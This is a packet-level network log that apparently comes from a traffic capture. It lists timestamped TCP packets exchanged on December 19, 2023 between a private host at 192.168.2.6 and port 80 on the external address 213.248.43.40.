Dec 19, 2023 05:18:17.023895025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.023936987 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.024012089 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.024055958 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.024063110 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.024102926 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.024647951 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.024682999 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.024689913 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.024733067 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025054932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025098085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025393963 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025403976 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025438070 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025450945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025475025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025485992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025506973 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025520086 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025533915 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025554895 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025554895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025568962 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025595903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025612116 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.025949001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.025990009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.026787043 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.026830912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.026870012 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.026906013 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.026983976 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.027103901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.027144909 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.027206898 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.027285099 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.027323961 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.027394056 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.027707100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.027761936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.027854919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.027900934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.027956009 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028031111 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028166056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028321981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028388977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028398991 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028443098 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028785944 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028796911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028805971 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028842926 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028901100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028915882 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.028969049 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029021978 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029294968 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029382944 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029443026 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029514074 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029567003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029648066 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.029721022 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.294604063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.294621944 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.294723988 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.295047998 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.295888901 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.295973063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.296241999 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.296355963 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.296403885 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.297584057 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299072027 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299190044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299247026 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.299421072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299465895 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.299525976 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299571991 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.299751043 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299894094 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.299917936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.299992085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.300060034 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.300137997 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.300151110 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.300184965 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.300224066 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.300271988 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.300313950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.300374031 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.300412893 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.301076889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.301126003 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.301935911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.301979065 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.302412033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.302454948 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.305597067 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.305664062 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.305717945 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.305759907 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.305828094 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.305872917 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.305967093 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.306008101 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.306149960 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.306189060 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.306545019 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.306586981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.307394981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.307439089 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.307713032 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.307759047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.307885885 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.307929993 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.307998896 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.308039904 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.308882952 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.308947086 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.309174061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.309223890 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.309395075 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.309473038 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.309604883 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.309649944 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.309706926 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.309752941 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.309873104 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.309915066 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.310023069 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.310070038 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.310420990 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.310461998 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.310800076 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.310846090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.311042070 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.311091900 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.311568022 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.311613083 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.311669111 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.311716080 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.311804056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.311844110 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.312182903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.312232971 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.312393904 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.312438011 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.312589884 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.312632084 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.313158989 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.313199997 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.313368082 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.313420057 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.313476086 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.313519955 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.313774109 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.313818932 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.314116001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.314162016 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.314616919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.314663887 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.314904928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.314955950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.315311909 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.315357924 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.315437078 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.315480947 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.315812111 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.315853119 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.316463947 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.316512108 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.316704988 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.316744089 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.316915035 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.316958904 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.317135096 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.317183018 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.317464113 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.317509890 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.317532063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.317573071 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.317743063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.317785025 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.318130970 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.318175077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.318284035 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.318336964 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.318574905 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.318643093 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.319099903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.319145918 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.319230080 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.319282055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.319365025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.319408894 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.319739103 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.319789886 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.581214905 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.581265926 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.581290960 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.581314087 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.581495047 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.581552982 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.582129002 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.582339048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.582834959 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.583195925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.583234072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.583914995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.584250927 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.584350109 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.584573984 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.584661007 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.584952116 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.585071087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.585413933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.586482048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.586796045 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.586884975 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.587265015 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.587527990 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.587974072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.588690996 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.589778900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.590419054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.591046095 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.591530085 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.592021942 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.592484951 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.592976093 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.593182087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.593298912 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.594141006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.594152927 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.594230890 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.594616890 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.594718933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.595005989 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.595524073 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.595746994 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.595819950 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.595902920 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.596100092 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.596438885 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.596802950 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.597238064 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.597321987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.597520113 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.597600937 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.597878933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.598069906 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.598486900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.599013090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.599070072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.599325895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.600037098 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.601814985 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.630065918 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.630271912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.635674953 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.863476038 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.863550901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.912679911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.912750959 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.912849903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.913007021 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.913175106 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.917510986 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:17.917562962 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:17.917609930 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.145546913 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.195718050 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.195730925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.199934959 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.200027943 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.200134039 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.200134039 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.482103109 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.482176065 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.482199907 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.482237101 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.482256889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.777772903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.777827024 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.777992010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778033018 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778335094 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778373003 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778415918 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778456926 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778462887 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778492928 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778531075 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778569937 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778713942 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778769970 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:18.778831959 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778935909 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.778986931 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.779033899 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.779097080 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:18.779131889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.059741974 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.059851885 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.060058117 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060070992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060111046 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.060122013 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060161114 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.060544014 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060585976 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.060726881 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060784101 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.060811043 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060857058 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.060956001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.060992002 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.061228037 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.061295033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.061439037 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.061490059 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.061501980 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.061553001 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.061744928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.061811924 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.062032938 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.062078953 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.062189102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.062243938 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.062298059 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.062346935 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.062372923 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.062417030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.063251019 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:19.063306093 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:19.063330889 CET	80	49712	213.248.43.40	192.168.2.6
